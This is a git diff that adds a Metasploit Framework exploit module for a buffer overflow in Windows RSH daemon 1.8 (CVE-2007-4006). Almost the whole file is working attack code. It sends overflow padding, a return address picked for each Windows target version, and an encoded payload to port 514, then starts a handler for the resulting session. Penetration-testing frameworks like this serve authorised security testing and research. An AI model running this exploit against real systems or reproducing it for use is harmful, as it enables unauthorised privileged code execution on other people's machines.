diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb new file mode 100644 index 0000000000..c07ac93555 --- /dev/null +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -0,0 +1,80 @@ +## +# $Id: windows_rsh.rb 4886 2007-05-07 04:48:45Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +module Msf + +class Exploits::Windows::Misc::Windows_Rsh < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows RSH daemon Buffer Overflow', + 'Description' => %q{ + This module exploits a vulnerabliltiy in Windows RSH daemon 1.8. + The vulnerability is due to a failure to check for the length of input sent + to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit + to be successful. + }, + 'Author' => 'MC', + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + ['BID', '25044'], + ['CVE', '2007-4006'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 850, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ], + [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ], + [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Jul 24 2007', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(514)], self.class) + + end + + def exploit + connect + + sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00" + sploit << rand_text_english(1024) + [target.ret].pack('V') + sploit << payload.encoded + + print_status("Trying target #{target.name}...") + + sock.put(sploit) + + handler + disconnect + end + +end +end